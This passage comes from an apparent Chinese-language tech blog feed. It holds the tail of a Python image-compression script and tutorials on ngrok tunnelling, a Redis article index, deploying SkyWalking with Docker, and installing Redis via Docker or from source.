(srcFile.lower().endswith((<span class="string">&#x27;.bmp&#x27;</span>, <span class="string">&#x27;.dib&#x27;</span>,<span class="string">&#x27;.gif&#x27;</span>, <span class="string">&#x27;.png&#x27;</span>, <span class="string">&#x27;.jpg&#x27;</span>, <span class="string">&#x27;.jpeg&#x27;</span>, <span class="string">&#x27;.pbm&#x27;</span>, <span class="string">&#x27;.pgm&#x27;</span>, <span class="string">&#x27;.ppm&#x27;</span>, <span class="string">&#x27;.tif&#x27;</span>, <span class="string">&#x27;.tiff&#x27;</span>))):</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 压缩图片并保存</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">compression</span>(<span class="params">srcFile,distFile</span>):</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="comment"># 读取原图</span></span><br><span class="line">        srcImg = Image.<span class="built_in">open</span>(srcFile)</span><br><span class="line">        w, h = srcImg.size</span><br><span class="line">        <span class="comment"># 重新设置图片尺寸和选项，Image.ANTIALIAS：平滑抗锯齿</span></span><br><span class="line">        distImg = srcImg.resize((<span class="built_in">int</span>(w * size_ratio), <span class="built_in">int</span>(h * size_ratio)), Image.ANTIALIAS)</span><br><span class="line">        <span class="comment"># 保存为新图</span></span><br><span class="line">        distImg.save(distFile, quality=quality)</span><br><span class="line">        <span class="built_in">print</span> (distFile + <span class="string">&quot; 压缩成功！&quot;</span>)</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span> (distFile + <span class="string">&quot; 压缩失败！异常信息：&quot;</span>, e)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">chooseDir</span>():</span></span><br><span class="line">    root = tk.Tk()</span><br><span class="line">    root.withdraw()</span><br><span class="line">    choose_dir_path = filedialog.askdirectory()</span><br><span class="line">    <span class="keyword">if</span> choose_dir_path <span class="keyword">is</span> <span class="literal">None</span> <span class="keyword">or</span> <span class="built_in">len</span>(choose_dir_path) &lt;= <span class="number">0</span>:</span><br><span class="line">        print(<span class="string">&#x27;没有任何选择，程序退出！&#x27;</span>)</span><br><span class="line">        exit()</span><br><span class="line">    print(<span class="string">&#x27;您选择的目录：&#x27;</span>, choose_dir_path)</span><br><span class="line">    <span class="keyword">return</span> choose_dir_path</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    <span class="built_in">print</span> (<span class="string">&quot;=================开始执行=================&quot;</span>)</span><br><span class="line">    <span class="comment"># 指定图片目录以及压缩后的图片目录</span></span><br><span class="line">    choose_dir_path = chooseDir()</span><br><span class="line">    batch_compress(choose_dir_path, choose_dir_path + <span class="string">&quot;/dist&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span> (<span class="string">&quot;=================执行结束=================&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span> (<span class="string">&quot;压缩后的图片已经保存到：&quot;</span> + choose_dir_path + <span class="string">&quot;/dist&quot;</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h4 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h4&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;今天迁移文件，需要对大量的图片进行压缩，用PS一张一张的处理效率特别低，而网上的在线工具批量</summary>
      
    
    
    
    <category term="python" scheme="https://32e.co/categories/python/"/>
    
    
    <category term="压缩图片" scheme="https://32e.co/tags/%E5%8E%8B%E7%BC%A9%E5%9B%BE%E7%89%87/"/>
    
  </entry>
  
  <entry>
    <title>如何使用ngrok配置内网穿透？</title>
    <link href="https://32e.co/2021/01/02/mac-ngrok/"/>
    <id>https://32e.co/2021/01/02/mac-ngrok/</id>
    <published>2021-01-02T13:25:22.000Z</published>
    <updated>2022-05-16T16:35:13.553Z</updated>
    
    <content type="html"><![CDATA[<h4 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h4><p>&nbsp;&nbsp;&nbsp;&nbsp; ngrok 是一个反向代理，面向的是在任何云、私有网络、或本地机器中运行 的 Web 服务，通过在公共端点和本地运行的 Web 服务器之间建立一个安全的通道，实现内网主机的服务可以暴露给外网。</p><p>&nbsp;&nbsp;&nbsp;&nbsp; ngrok 可捕获和分析所有通道上的流量，便于后期分析和重放，所以ngrok可以很方便地协助服务端进行程序测试。</p><h4 id="配置内网穿透"><a href="#配置内网穿透" class="headerlink" title="配置内网穿透"></a>配置内网穿透</h4><p>1，进入ngrok官网注册ngrok账号，可以使用github授权登录，在工作台找到ngrok完成下载，路径：Getting Started &gt;&gt; Setup &amp; Installation &gt;&gt; Download ngrok，地址：<a href="https://ngrok.com/">https://ngrok.com</a></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">注：下载解压后会得到一个&#96;ngrok&#96;可执行文件，后续命令都通过它执行。</span><br></pre></td></tr></table></figure><p>2，授权Token和账户是绑定的，工作台的操作指导步骤中，已经提供了拼好授权码的<code>ngrok config add-authtoken 授权码</code>命令，直接运行即可，ngrok会将授权码保存到本地的<code>ngrok.yml</code>文件中，此命令仅需执行一次即可，如：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./ngrok config add-authtoken xxxxxxxxxxxxxxx</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Authtoken saved to configuration file: &#x2F;Users&#x2F;mac&#x2F;Library&#x2F;Application Support&#x2F;ngrok&#x2F;ngrok.yml</span><br></pre></td></tr></table></figure><p>3，开启内网穿透服务，代理本机：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./ngrok http 9999</span><br></pre></td></tr></table></figure><p>或其他非本机地址：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./ngrok http 32e.co:80</span><br></pre></td></tr></table></figure><p>当session status = online时，表示代理成功，如图：</p><p><img src="https://soilove.oss-cn-hangzhou.aliyuncs.com/32e/ngrok/ngrok-ex-1.png" alt="代理成功图例"></p><p>4，重放请求，ngrok提供了一个web管理页面，可以查看捕获的所有请求，以及操作请求重放，地址：<a href="http://127.0.0.1:4040/">http://127.0.0.1:4040/</a></p><p><img src="https://soilove.oss-cn-hangzhou.aliyuncs.com/32e/ngrok/ngrok-ex-2.png" alt="ngrok提供的web管理页面，以及重放功能"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h4 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h4&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ngrok 是一个反向代理，面向的是在任何云、私有网络、或本地机器中运行 的 Web 服务</summary>
      
    
    
    
    <category term="linux" scheme="https://32e.co/categories/linux/"/>
    
    <category term="mac" scheme="https://32e.co/categories/mac/"/>
    
    <category term="工具" scheme="https://32e.co/categories/%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="ngrok" scheme="https://32e.co/tags/ngrok/"/>
    
    <category term="内网穿透" scheme="https://32e.co/tags/%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F/"/>
    
  </entry>
  
  <entry>
    <title>Redis专栏-专栏目录</title>
    <link href="https://32e.co/2020/10/01/redis-0-catalog/"/>
    <id>https://32e.co/2020/10/01/redis-0-catalog/</id>
    <published>2020-10-01T15:59:59.000Z</published>
    <updated>2021-03-18T06:19:50.044Z</updated>
    
    <content type="html"><![CDATA[<h4 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h4><p>&nbsp;&nbsp;&nbsp;&nbsp;Redis的一些笔记和相关知识点，还在2014年刚接触的时候，就开始写成一些文章汇总到以前的博客里面。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;长时间没有去整理，久而久之，就变得非常的 零散、杂乱，不利于查阅和总结。所以，也趁迁移博客的机会，重新将相关内容汇总梳理了一番，并结合Redis官方文档的翻译，归纳在一起形成一个专栏[偷笑]。</p><h4 id="目录列表"><a href="#目录列表" class="headerlink" title="目录列表"></a>目录列表</h4><ul><li><a href="https://32e.co/2020/10/01/redis-data-types-intro">Redis专栏-基本数据类型介绍</a></li><li><a href="https://32e.co/2020/10/01/redis-pipelining">Redis专栏-使用管道加速请求</a></li><li><a href="https://32e.co/2020/10/01/redis-pub-sub">Redis专栏-发布与订阅</a></li><li><a href="https://32e.co/2020/10/01/redis-lua-script">Redis专栏-Lua脚本应用</a></li><li><a href="https://32e.co/2020/10/01/redis-memory-optimization">Redis专栏-内存优化</a></li><li><a href="https://32e.co/2020/10/01/redis-expire">Redis专栏-Key的过期策略</a></li><li><a href="https://32e.co/2020/10/01/redis-maxmemory-policy">Redis专栏-内存淘汰策略</a></li><li><a href="">Redis专栏-Redis事务的原理</a></li><li><a href="">Redis专栏-批量插入数据的最佳实践</a></li><li><a href="">Redis专栏-分布式锁</a></li><li><a href="">Redis专栏-数据分区的实现</a></li><li><a href="">Redis专栏-内存碎片</a></li><li><a href="">Redis专栏-认识Redis Stream(流)</a></li><li><a href="">Redis专栏-键空间通知</a></li><li><a href="">Redis专栏-模块编程</a></li><li><a href="">Redis专栏-掌握Redis-cli命令行工具</a></li><li><a href="">Redis专栏-主副本复制的相关知识</a></li><li><a href="">Redis专栏-数据持久的两种方式</a></li><li><a href="">Redis专栏-安全性</a></li><li><a href="">Redis专栏-访问控制配置</a></li><li><a href="">Redis专栏-客户端与服务器的通信加密</a></li><li><a href="">Redis专栏-信号处理</a></li><li><a href="">Redis专栏-延迟监控框架</a></li><li><a href="https://32e.co/2020/10/01/redis-sign-install">Redis专栏-单机部署Redis</a></li><li><a href="https://32e.co/2020/10/01/redis-docker-install">Redis专栏-Docker部署Redis</a></li><li><a href="">Redis专栏-高可用方案-哨兵模式(Redis-Sentinel)</a></li><li><a href="">Redis专栏-如何搭建Redis集群</a></li><li><a href="">Redis专栏-使用create-cluster脚本创建集群</a></li><li><a href="">Redis专栏-在Docker容器环境中搭建集群</a></li><li><a href="">Redis专栏-集群的主从模型和数据分片</a></li><li><a href="">Redis专栏-Redis群集一致性保证</a></li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h4 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h4&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Redis的一些笔记和相关知识点，还在2014年刚接触的时候，就开始写成一些文章汇总到以前的</summary>
      
    
    
    
    <category term="redis" scheme="https://32e.co/categories/redis/"/>
    
    
    <category term="redis" scheme="https://32e.co/tags/redis/"/>
    
    <category term="分布式缓存" scheme="https://32e.co/tags/%E5%88%86%E5%B8%83%E5%BC%8F%E7%BC%93%E5%AD%98/"/>
    
    <category term="缓存" scheme="https://32e.co/tags/%E7%BC%93%E5%AD%98/"/>
    
    <category term="nosql" scheme="https://32e.co/tags/nosql/"/>
    
  </entry>
  
  <entry>
    <title>Docker部署SkyWalking，以及Java项目集成</title>
    <link href="https://32e.co/2020/10/01/docker_install_skywalking/"/>
    <id>https://32e.co/2020/10/01/docker_install_skywalking/</id>
    <published>2020-10-01T01:00:23.000Z</published>
    <updated>2020-10-13T16:45:55.000Z</updated>
    
    <content type="html"><![CDATA[<h4 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h4><p>SkyWalking是一个开源的APM(应用程序性能监视器)系统，专为微服务、云原生和基于容器的体系结构而设计。<br>功能包括对Cloud Native体系结构中的分布式系统的监视，跟踪，诊断，报警等，具体功能明细参见<a href="http://skywalking.apache.org/">官网</a>。</p><h4 id="部署skywalking"><a href="#部署skywalking" class="headerlink" title="部署skywalking"></a>部署skywalking</h4><p>本文使用docker-compose的方式进行的部署，官网默认的docker示例是es数据库，es占用内存大，示例机器内存不足，我们直接使用自带的h2数据库来保存skywalking产生的数据。</p><p>docker-compose.yml：</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">version:</span> <span class="string">&#x27;3.8&#x27;</span></span><br><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">skywalking-oap:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">apache/skywalking-oap-server:latest</span></span><br><span class="line">    <span class="attr">container_name:</span> <span class="string">skywalking-oap</span></span><br><span class="line">    <span class="attr">restart:</span> <span class="string">always</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="number">11800</span><span class="string">:11800</span></span><br><span class="line">      <span class="bullet">-</span> <span class="number">12800</span><span class="string">:12800</span></span><br><span class="line">    <span class="attr">healthcheck:</span></span><br><span class="line">      <span class="attr">test:</span> [<span class="string">&quot;CMD-SHELL&quot;</span>, <span class="string">&quot;/skywalking/bin/swctl&quot;</span>]</span><br><span class="line">      <span class="attr">interval:</span> <span class="string">30s</span></span><br><span class="line">      <span class="attr">timeout:</span> <span class="string">10s</span></span><br><span class="line">      <span class="attr">retries:</span> <span class="number">3</span></span><br><span class="line">      <span class="attr">start_period:</span> <span class="string">40s</span></span><br><span class="line">    <span class="attr">environment:</span></span><br><span class="line">      <span class="attr">JAVA_OPTS:</span> <span class="string">&quot;-Xms512m -Xmx512m&quot;</span></span><br><span class="line">  <span class="attr">skywalking-ui:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">apache/skywalking-ui:latest</span></span><br><span class="line">    <span class="attr">container_name:</span> <span class="string">skywalking-ui</span></span><br><span class="line">    <span class="attr">depends_on:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">skywalking-oap</span></span><br><span class="line">    <span class="attr">links:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">skywalking-oap</span></span><br><span class="line">    <span class="attr">restart:</span> <span class="string">always</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="number">3380</span><span class="string">:8080</span></span><br><span class="line">    <span class="attr">environment:</span></span><br><span class="line">      <span class="attr">SW_OAP_ADDRESS:</span> <span class="string">skywalking-oap:12800</span></span><br></pre></td></tr></table></figure><p>执行docker-compose命令，运行skywalking：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker-compose up -d</span><br></pre></td></tr></table></figure><h4 id="下载skywalking-agent-jar"><a href="#下载skywalking-agent-jar" class="headerlink" title="下载skywalking-agent.jar"></a>下载skywalking-agent.jar</h4><p>下载地址：<a href="http://skywalking.apache.org/downloads/">http://skywalking.apache.org/downloads/</a></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">mkdir -p /home/pro-mall/</span><br><span class="line"><span class="built_in">cd</span> /home/pro-mall/</span><br><span class="line">wget https://mirror.bit.edu.cn/apache/skywalking/8.1.0/apache-skywalking-apm-8.1.0.tar.gz</span><br><span class="line">tar -zxvf apache-skywalking-apm-8.1.0.tar.gz </span><br><span class="line"></span><br><span class="line"><span class="comment"># skywalking-agent.jar文件完整地址</span></span><br><span class="line">/home/pro-mall/apache-skywalking-apm-bin/agent/skywalking-agent.jar</span><br><span class="line"><span class="comment"># agent参数介绍</span></span><br><span class="line">/home/pro-mall/apache-skywalking-apm-bin/agent/config/agent.config</span><br></pre></td></tr></table></figure><h4 id="项目使用"><a href="#项目使用" class="headerlink" title="项目使用"></a>项目使用</h4><p>以agent的方式启动，对代码没有侵入性，直接在启动命令上指定javaagent即可。</p><p>启动命令javaagent参数添加：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -javaagent:/home/pro-mall/apache-skywalking-apm-bin/agent/skywalking-agent.jar -DSW_AGENT_COLLECTOR_BACKEND_SERVICES=127.0.0.1:11800 -DSW_AGENT_NAME=pro-mall -jar xxxxx</span><br></pre></td></tr></table></figure><p>启动程序后，登录skywalking查看监控情况：<a href="http://localhost:3380/">http://localhost:3380</a></p><p>监控面板：<br><img src="https://soilove.oss-cn-hangzhou.aliyuncs.com/32e/skywalking/sk1.png" alt="监控面板"></p><p>调用链路：<br><img src="https://soilove.oss-cn-hangzhou.aliyuncs.com/32e/skywalking/sk2.png" alt="调用链路"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h4 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h4&gt;&lt;p&gt;SkyWalking是一个开源的APM(应用程序性能监视器)系统，专为微服务、云原生和基于容器的体系结构而设计。&lt;br&gt;功能包括对Cloud</summary>
      
    
    
    
    <category term="docker" scheme="https://32e.co/categories/docker/"/>
    
    <category term="java" scheme="https://32e.co/categories/java/"/>
    
    
    <category term="SkyWalking" scheme="https://32e.co/tags/SkyWalking/"/>
    
    <category term="监控" scheme="https://32e.co/tags/%E7%9B%91%E6%8E%A7/"/>
    
  </entry>
  
  <entry>
    <title>Redis专栏-使用Docker单机部署Redis</title>
    <link href="https://32e.co/2020/10/01/redis-docker-install/"/>
    <id>https://32e.co/2020/10/01/redis-docker-install/</id>
    <published>2020-09-30T17:25:01.000Z</published>
    <updated>2021-03-18T06:19:47.639Z</updated>
    
    <content type="html"><![CDATA[<h4 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h4><p>&nbsp;&nbsp;&nbsp;&nbsp;如果非要问怎么安装Redis最省心、最简单，那肯定要属<code>Docker</code>镜像安装了。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;docker hub镜像仓库中，有无数的开发者贡献了无数的镜像，可供选择，只需要一行docker命令，即可快速完成部署。不过要注意的是，最好选择带有<code>OFFICIAL IMAGE</code>标志的官方镜像，安全可靠！</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Redis官方镜像仓库地址：https:&#x2F;&#x2F;hub.docker.com&#x2F;_&#x2F;redis</span><br></pre></td></tr></table></figure><h4 id="部署过程"><a href="#部署过程" class="headerlink" title="部署过程"></a>部署过程</h4><h5 id="docker-run部署"><a href="#docker-run部署" class="headerlink" title="docker run部署"></a>docker run部署</h5><p><code>docker run</code>命令的作用是创建一个新的容器并运行一个命令，我们可以通过下面的命令快速启动Redis服务，以及指定相关的命令或自定义配置文件。</p><p>指定参数启动：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker run --name some-redis -d redis:6.0.9 redis-server --appendonly yes --requirepass <span class="string">&quot;password123&quot;</span></span><br></pre></td></tr></table></figure><p>指定配置文件启动：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker run -v /myredis/conf:/usr/<span class="built_in">local</span>/etc/redis --name some-redis -d redis:6.0.9 redis-server /usr/<span class="built_in">local</span>/etc/redis/redis.conf</span><br></pre></td></tr></table></figure><p>停止：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker stop some-redis</span><br></pre></td></tr></table></figure><p>重启：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker start some-redis</span><br></pre></td></tr></table></figure><h5 id="docker-compose部署"><a href="#docker-compose部署" class="headerlink" title="docker-compose部署"></a>docker-compose部署</h5><p><code>docker-compose</code>是docker的自己家的服务编排工具，主要是用来构建多个有关联的服务，通过它，让我们管理容器变得更加的得心应手。不过，一般单个服务，我们也会选择用它来构建。</p><p>docker-compose.yml：</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># redis 缓存数据库</span></span><br><span class="line"><span class="attr">version:</span> <span class="string">&quot;3&quot;</span></span><br><span class="line"><span class="attr">services:</span></span><br><span class="line">   <span class="attr">redis:</span></span><br><span class="line">     <span class="attr">image:</span> <span class="string">redis:6.0.9</span></span><br><span class="line">     <span class="attr">container_name:</span> <span class="string">some-redis</span></span><br><span class="line">     <span class="attr">volumes:</span></span><br><span class="line">       <span class="bullet">-</span> <span class="string">data:/my/own/redis/data</span></span><br><span class="line">     <span class="attr">ports:</span></span><br><span class="line">       <span class="bullet">-</span> <span class="string">&quot;6379:6379&quot;</span></span><br><span class="line">     <span class="attr">restart:</span> <span class="string">unless-stopped</span></span><br><span class="line">     <span class="attr">command:</span>  <span class="string">redis-server</span> <span class="string">--appendonly</span> <span class="literal">yes</span> <span class="string">--requirepass</span> <span class="string">&quot;password123&quot;</span></span><br><span class="line"><span class="attr">volumes:</span></span><br><span class="line">  <span class="attr">data:</span></span><br></pre></td></tr></table></figure><p>构建启动：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker-compose up -d</span><br></pre></td></tr></table></figure><p>停止：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker-compose stop</span><br></pre></td></tr></table></figure><p>重启：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker-compose restart</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h4 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h4&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;如果非要问怎么安装Redis最省心、最简单，那肯定要属&lt;code&gt;Docker&lt;/code&gt;</summary>
      
    
    
    
    <category term="docker" scheme="https://32e.co/categories/docker/"/>
    
    <category term="redis" scheme="https://32e.co/categories/redis/"/>
    
    
    <category term="分布式缓存" scheme="https://32e.co/tags/%E5%88%86%E5%B8%83%E5%BC%8F%E7%BC%93%E5%AD%98/"/>
    
    <category term="缓存" scheme="https://32e.co/tags/%E7%BC%93%E5%AD%98/"/>
    
    <category term="nosql" scheme="https://32e.co/tags/nosql/"/>
    
  </entry>
  
  <entry>
    <title>Redis专栏-单机部署Redis</title>
    <link href="https://32e.co/2020/10/01/redis-sign-install/"/>
    <id>https://32e.co/2020/10/01/redis-sign-install/</id>
    <published>2020-09-30T17:24:01.000Z</published>
    <updated>2021-03-18T06:19:31.117Z</updated>
    
    <content type="html"><![CDATA[<h4 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h4><p>单机部署redis非常简单，只需要安装好对应的依赖，然后下载redis源代码，使用<code>make</code>命令，提取和编译Redis即可。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">安装环境：centos</span><br><span class="line"></span><br><span class="line">安装方式参考：https:&#x2F;&#x2F;redis.io&#x2F;download</span><br><span class="line"></span><br><span class="line">安装包下载地址：http:&#x2F;&#x2F;download.redis.io&#x2F;releases</span><br></pre></td></tr></table></figure><h4 id="部署过程"><a href="#部署过程" class="headerlink" title="部署过程"></a>部署过程</h4><h5 id="依赖安装"><a href="#依赖安装" class="headerlink" title="依赖安装"></a>依赖安装</h5><p>1，安装tcl、gcc等依赖</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">yum install tcl</span><br><span class="line">yum install gcc - c++</span><br></pre></td></tr></table></figure><p>2，升级gcc版本，并设置环境变量</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">yum -y install centos-release-scl</span><br><span class="line">yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++ devtoolset-9-binutils</span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;source /opt/rh/devtoolset-9/enable&quot;</span> &gt;&gt; /etc/profile</span><br><span class="line">// 或 仅临时使用高版本的gcc</span><br><span class="line">scl <span class="built_in">enable</span> devtoolset-9 bash</span><br></pre></td></tr></table></figure><h5 id="Redis安装"><a href="#Redis安装" class="headerlink" title="Redis安装"></a>Redis安装</h5><p>1，下载redis，到<code>http://download.redis.io/releases</code>选择所需的版本下载</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> ~</span><br><span class="line"></span><br><span class="line">wget http://download.redis.io/releases/redis-6.0.9.tar.gz</span><br><span class="line"></span><br><span class="line">tar -zxvf redis-6.0.9.tar.gz</span><br><span class="line"></span><br><span class="line"><span class="built_in">cd</span> redis-6.0.9</span><br></pre></td></tr></table></figure><p>2，执行make，完成安装</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">make</span><br><span class="line">make install PREFIX=/usr/<span class="built_in">local</span>/redis</span><br></pre></td></tr></table></figure><p>注：安装完成后，<code>redis-benchmark</code>、<code>redis-check-aof</code>、<code>redis-check-rdb</code>、<code>redis-cli</code>、<code>redis-sentinel</code>、<code>redis-server</code> 都会被复制到<code>/usr/local/redis/bin</code>目录下，可以直接使用。</p><h5 id="最常用配置"><a href="#最常用配置" class="headerlink" title="最常用配置"></a>最常用配置</h5><p>0，为了方便管理，一般，我们会把配置文件也拷贝到<code>/usr/local/redis/bin/</code>目录下，然后修改此目录下的文件来进行相关配置。不过随你，哪都一样。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cp /root/redis-6.0.9/redis.conf /usr/<span class="built_in">local</span>/redis/bin/redis.conf</span><br></pre></td></tr></table></figure><p>1，配置redis访问密码，只需要修改<code>redis.conf</code>的<code>requirepass</code>参数即可。<br>设置redis访问密码: </p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">requirepass &lt;密码&gt;</span><br></pre></td></tr></table></figure><p> </p><p>2，配置守护进程启动，同样在<code>redis.conf</code>文件中修改<code>daemonize yes</code>即可</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">daemonize yes</span><br></pre></td></tr></table></figure><p> <br>3，最大内存设置，默认是注释的，单位是<code>byte</code>字节，如果超出这个最大限制，Redis会根据<code>逐出策略</code>尝试删除KEY，如果配置的是不逐出任何内容的策略，那么将直接提示写操作错误。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">maxmemory &lt;bytes&gt;</span><br></pre></td></tr></table></figure><p>逐出策略配置方式：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">maxmemory-policy 